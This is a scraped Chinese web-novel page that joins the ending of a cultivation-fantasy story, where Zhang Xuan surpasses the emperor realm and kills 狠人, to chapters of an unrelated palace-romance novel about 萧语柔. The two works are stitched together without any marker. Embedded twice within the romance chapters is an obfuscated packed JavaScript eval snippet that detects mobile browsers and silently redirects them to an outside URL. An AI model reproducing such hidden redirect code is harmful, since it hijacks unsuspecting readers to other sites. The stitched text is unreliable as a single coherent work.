孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十四章 栽赃 夜色渐深,花园小径上,萧语柔和桂辰并肩而行。微风拂过,带来阵阵花香。 一路上,萧语柔说得多,桂辰听得多。她说起小时候的趣事,说起府中的变化,说起这几年的经历。桂辰只是静静地听着,时不时附和两声,目光始终温和而疏离。 “记得小时候,二哥最喜欢带我去后山看萤火虫。”萧语柔望着远处的灯火,语气中带着怀念,“那时候我总觉得,那些萤火虫就像天上的星星落在了地上。” 桂辰微微一怔,眼中闪过一丝复杂的情绪:“五妹妹还记得。” “当然记得。”萧语柔转头看他,“二哥教我认字时的样子,教我弹琴时的样子,我都记得。” 桂辰沉默了片刻,才低声道:“可我已经不是从前的我了。” 萧语柔轻轻叹了口气。自从桂成林一事后,二哥就像变了个人。以前的温润如玉不见了,剩下的只有自暴自弃和消沉。 直到天色完全暗下来,萧语柔才将桂辰送回房。 “五妹妹不想说些什么吗?”桂辰忽然开口问道,声音里带着几分苦涩。 萧语柔抬眼看他:“二哥想听我说什么呢?那些道理,二哥不都明白吗?” 桂辰望着她清澈的眼眸,不由露出一丝苦笑。烛光映照在他苍白的脸上,更显得他形容憔悴。 是啊,道理他都懂。可母亲已逝,父亲远走,连妹妹也变得陌生。这偌大的府邸,处处都是回忆,却再也找不到从前的影子。他实在不知该如何继续活下去。 “二哥,能麻烦你帮我一件事吗。”萧语柔忽然说道,声音轻柔却坚定。 桂辰下意识想要拒绝:“五妹妹,你知道我......” “我知道,绝不会逼你做违心的事情。”萧语柔轻轻推了推身边的阿莺,“我发现身边的人都不识字,这可不行。但我没时间教他们,希望二哥能做这个老师。目前就阿莺、萧瑾和大哥晏澜三个学生。” 阿莺听到自己的名字,连忙行了个礼:“请桂二爷多多指教。” 提到晏澜,桂辰的神色有些不自然。他垂下眼帘,手指无意识地摩挲着衣袖:“他会愿意吗?” “会的。”萧语柔笑着说,眼中带着笃定。 桂辰犹豫片刻,眉头微皱:“我怕教不好......” “二哥才学出众,你都教不好,那就没人能教了。再说这些可都是我的心腹,现在正是风雨飘摇时,我也只信得过你。”萧语柔走近一步道。 看着萧语柔诚恳的目光,桂辰心中一动。若能做些有意义的事,也算没有白活这一场。他轻轻点头:“好。” 回到幽谷,萧语柔得知晏澜已经回来,马上叫人把他带过来。她还没开口,晏澜就先答应了。 “我明白你是为他着想。”晏澜坐在椅子上,端起茶杯抿了一口,“桂成林对不起我们母子,但我不怪桂辰。再说我也确实需要个先生。年后王爷会派我和阿桐跟程统领去西北。” “是我太过多疑了。表哥真是眼界不凡,那阿琳洛公主的事,这事我不会跟舅母提起。” 晏澜顿时红了脸,茶杯差点没拿稳:“五妹妹莫要听那些闲言碎语。”说完便大步离去,但脸上已带了笑意。 萧语柔刚准备去见梨竹和郗澜,一回房就看到了岑陌正带着几分幽怨看着她。他倚在窗边,月光为他清冷的面容镀上一层柔和的光晕。 还没等她反应过来,人已经被揽入怀中,几个起落便离开了侯府。夜风拂过,带着几分凉意。 龙都的灯火依旧璀璨,将整座城池映照得通明。远处传来零星的更声,显得夜色更加深沉。 高楼之上,萧语柔站在熟悉的窗前。上次来这里,还是他送她亲手做的琴。想到这里,她不由得看向角落里那张琴,上面落了一层薄灰。 “王爷,我们......” 话未说完,隔壁传来一阵暧昧的女声,让萧语柔的话戛然而止。 萧语柔脸颊微红,偷瞄了眼脸色阴沉的岑陌:“王爷,咱们找别的地方说话吧?” 那女声又响起,带着几分谄媚:“大人真能帮妾身进睿王府吗......” 萧语柔还想再听,却被岑陌一把搂住。他微凉的手掌轻轻捂住她的耳朵,将她整个人都圈在怀里。 她只能听见他的心跳声。他的手指无意间触碰到她耳后的肌肤,既凉且软,让她不由得缩了缩脖子。 良久,岑陌松开手,却又凑近她耳边,呼吸拂过她的耳垂:“阿柔脸这么红,在想什么?” “在想......”萧语柔抬眼看他,目光中带着几分狡黠,“上次王爷沐浴后的样子。” 岑陌眼尾微红,望着她泪光闪烁的双眼和樱红的唇瓣,忍不住低头吻了下去。唇齿相依间,他轻声说道:“好甜。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681444|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧语柔连忙转移话题,生怕他再做出什么出格的事来:“王爷刚才听到什么了?” 岑陌眼中闪过一丝寒意,方才的温情荡然无存:“有人安排细作想混进睿王府。” “是想栽赃王爷?”萧语柔蹙眉。 岑陌淡淡应了声,眼中尽是不屑。他修长的手指轻轻敲击着窗框,似乎在思索什么。 外面传来急促的脚步声。 “进来。”岑陌淡淡开口。 “王爷,人带到了。”随着宓漠的声音,一道蓬头垢面的人影踉跄着被推入。那人衣衫不整,脸上还带着伤。 萧语柔定睛一看,竟是长公主的男宠玉郢。他曾在宫宴上见过,那时还是个风度翩翩的美男子,如今却落魄至此。 “这人在长公主跟前很受宠。”岑陌慵懒地说。 萧语柔立刻明白过来:“一路上蒙古人的暗杀,这事是长公主的意思?” 玉郢脖子上还带着伤痕,看起来有些狰狞:“是,也不是。”他的声音有些嘶哑。 在宓漠拔刀相向后,他连忙说道:“你们得答应放我走,我就全说。”额头上的冷汗不断滑落。 “好。”萧语柔应下。她知道这种人最是惜命。 玉郢见岑陌未反对,顿时大喜:“长公主虽有此意,但她一句话都没说。都是她手下揣摩她的心思去办的。所以你们抓不到她的把柄,这事确是出自她的主意。” “桐州的叛军也是她的人?”萧语柔追问道。 “不是。”玉郢露出一个意味深长的笑容,“长公主的人半路撤了。都怪他们狂妄自傲,以为凭着几个山匪就能掀起风浪。” “他们是谁?” “我不知道。”玉郢看着架在脖子上的刀,慌忙解释,“我只是个以色侍人的男宠,哪能知道这么多?在长公主面前,我连说话的资格都没有。” “你倒是很清萧自己的定位。”萧语柔冷笑一声。 岑陌忽然开口:“说到驸马那边的情况,你知道多少?” 玉郢犹豫片刻,眼中闪过一丝惊惧:“府里都传是洛贵妃,但长公主梦中咬牙切齿喊的却是另一个名字。” “谁?” “杨婧。”玉郢说完这个名字,整个人都松了口气,仿佛卸下了什么重担。 萧语柔和岑陌对视一眼,都从对方眼中看到了震惊。这个名字,他们都很熟悉。 第一百七十五章 杨婧的身份 萧语柔站在福安寺外别院的大门前,晨风微凉。青石板路上落了一层薄霜,在朝阳下泛着微光。 郗澜的身影如鬼魅般出现在马车边,他沉声道:“你安置在长公主府的那个和尚不见了。” “我知道。”她打开马车暗格,倒了杯热茶递给郗澜。茶香袅袅升起,驱散了几分寒意。 “分享下你找到什么线索。”她轻声问道,目光落在郗澜紧绷的面容上。 郗澜接过茶杯:“你可知道杨婧是谁?” 这个名字让萧语柔心头一震,她不由坐直了身子,:“杨贵妃。” “正是。”郗澜压低声音,四下张望了一番才继续说道,“那个死后所有痕迹都被抹去,所有知情人都被秘密处决的杨贵妃。” 寒风吹过,掀起车帘一角。萧语柔下意识地裹紧了披风,却觉得一股寒意从脚底直窜上来。 郗澜小心翼翼地从怀中取出一个锦缎包裹,展开后是一张几乎破碎的图纸,上面密密麻麻写满了道经。纸张泛黄,边角处有明显的烧灼痕迹,像是经历过一场大火。 “这是在长公主府密室找到的。那密室...很诡异。”郗澜紧张地说道。 “怎么说?”萧语柔凝视着那张残破的图纸。 “里面摆满了女子用品,从衣裳首饰到胭脂水粉,一应俱全。就像...就像还有人住在那里。”郗澜声音有些发涩,“最奇怪的是,那些物件看起来都很新,可密室的锁已经生锈,至少十年没人进去过了。” 萧语柔接过那张图纸,目光落在最下方的落款上——“容澜”二字。笔迹遒劲有力,却又带着几分飘逸,与她记忆中的字迹如出一辙。 突然,一个熟悉又陌生的声音在她脑海中响起:“道可道,非常道。名可名,非常名...” 这声音与记忆中的重叠,让她心神不宁。她下意识看向空间,果然,里面又发生了变化。储存的鞑靼珍宝消失了大半,而灵医宝典却焕然一新,散发着淡淡的光芒。 “杨贵妃的身世,我也查到一些。”郗澜继续道,声音低沉,“她本是江南小户女,父母早亡后被卖作小妾。据说那户人家对她极为苛刻,她选择上吊自尽,获救后性情大变,逃到大衍经商。” 萧语柔心中一动,这经历与她何其相似。难道...杨贵妃也是重生之人?她握紧了手中的图纸,指节因用力而发白。 “后来呢?”她强迫自己冷静下来。 “后来她以惊人的速度积累财富,短短三年就成了大衍最富有的商人之一。”郗澜顿了顿,“但奇怪的是,没人见过她的真面目,所有与她做生意的人都说她戴着面纱。直到有一天,她突然出现在皇宫,成了贵妃。” 马车缓缓停在别院门前,打断了两人的谈话。 珍珍像只欢快的小鸟扑进她怀里:“语柔姐姐!” “想我了吗?”萧语柔强压下心中的不安,笑着揉了揉她的小脑袋。珍珍的头发柔软蓬松,带着阳光的温度。 老夫人站在廊下,面容比之前更显苍老。深深的皱纹刻在眼角,眸中带着化不开的忧愁。萧语柔心中一痛,快步上前:“外祖母。” “好孩子。”老夫人将她搂入怀中,苍老的手轻轻拍着她的背。 待到暖阁里坐定,慕氏端来热气腾腾的姜茶。茶香与炭火的温暖交织,让人不由自主地放松下来。 “六小姐和春姨娘,我已经送去庄子上了。”慕氏放下茶盏,神色凝重,“她们竟然暗中与桂婉柔勾结,想要将老夫人带走。若不是林妈妈及时发现...” “具体怎么回事?”萧语柔握紧了茶杯,心中涌起一阵寒意。 “前日深夜,林妈妈听见院子里有动静。”慕氏压低声音,“她躲在暗处看见六小姐鬼鬼祟祟地进了老夫人的院子。后来才知道,她们打算趁夜色给老夫人下药,送去桂府。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686771|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧语柔眼中闪过一丝寒光:“桂婉柔给了她们什么好处?” “听说是应允六小姐嫁入桂家做平妻。”慕氏叹了口气,“春姨娘那个蠢妇人,竟然真的相信了。” 老夫人握住萧语柔的手:“好在有你留下的人手,否则...”她说不下去了,眼中泛起泪光。 萧语柔轻轻回握住老夫人的手:“外祖母放心,有我在,没人能伤害您。” 正说着,外面传来一阵急促的脚步声。林妈妈匆匆进来,脸色发白:“小姐,不好了!六小姐和春姨娘从庄子上逃走了!” 萧语柔猛地站起身,茶杯翻倒,热水洒在桌上。她顾不得这些,快步走到门口:“什么时候的事?” “今早巡视的时候发现的。”林妈妈喘着气道,“她们不知用什么法子迷晕了看守的人。庄头说,昨晚有辆马车停在庄子外面,应该是接应她们的。” 萧语柔转身看向郗澜,后者会意地点点头:“我这就去查。” 待郗澜离开,萧语柔让人重新沏了壶茶。她坐在老夫人身边,轻声安慰:“外祖母别担心,我已经在龙都各处都安排了人手,她们逃不远的。” 老夫人叹了口气:“我是担心你。这对母女心思歹毒,你要多加小心。” 萧语柔正要说话,突然感觉一阵头晕目眩。她扶住桌角,眼前的景象开始模糊。那个熟悉的声音又在脑海中响起:“无名天地之始,有名万物之母...” 等她回过神来,发现自己正躺在软榻上,老夫人和慕氏都一脸担忧地看着她。 “我没事。”她勉强笑了笑,却发现空间里的变化更大了。灵医宝典不仅完全修复,还多出了许多她从未见过的内容。 这一切到底意味着什么?杨贵妃、密室、道经,还有那个神秘的声音...萧语柔觉得自己似乎触碰到了什么惊天的秘密,却又像隔着一层薄纱,怎么也看不真切。 第一百七十六章 见太上皇 萧语柔站在福安寺的院落里,目光落在角落里那几把沾满泥土的农具上。初秋的风带着几分凉意,吹得她裹紧了身上的斗篷。 锄头和镰刀上还残留着新鲜的泥巴,木柄上有着岁月磨砺的痕迹。这些普通的农具勾起了她的回忆,让她想起小时候父亲带她下乡的情景。那时的她总是好奇地追问各种农具的用途,父亲则耐心地一一解释。 “小郡主在专注什么?”引路的宫人见她驻足许久,忍不住开口问道。她身着月白色宫装,举止端庄,眼中带着几分好奇。 萧语柔收回思绪,嘴角扬起一抹浅笑:“只是想起小时候跟着父亲下乡时的事。那时觉得这些农具很新奇,总缠着父亲问东问西。” 宫人闻言也笑了,心想这些养尊处贵的贵女,难得对这些粗活的工具感兴趣。不过想到澜宁郡主的性子,倒也在情理之中。 “县主请随我来,太上皇专心读着佛经。”宫人做了个请的手势,领着萧语柔往内室走去。 寺院内香火缭绕,木鱼声清脆悦耳。太上皇正专注地诵读经文,身上的袈裟朴素却庄重,整个人散发着超然物外的气质。 萧语柔安静地站在一旁等候,目光扫过室内的陈设。墙上挂着几幅字画,笔力遒劲,想必是太上皇的手笔。案几上摆着几本经书,还有一串沉香木佛珠。 差不多一个钟头过去,佛香燃尽,太上皇才放下手中的木鱼。他抬头看向萧语柔,目光慈祥。 “已经待了好一会了?坐吧。”太上皇的语气温和,就像寻常人家的长辈一般亲切。 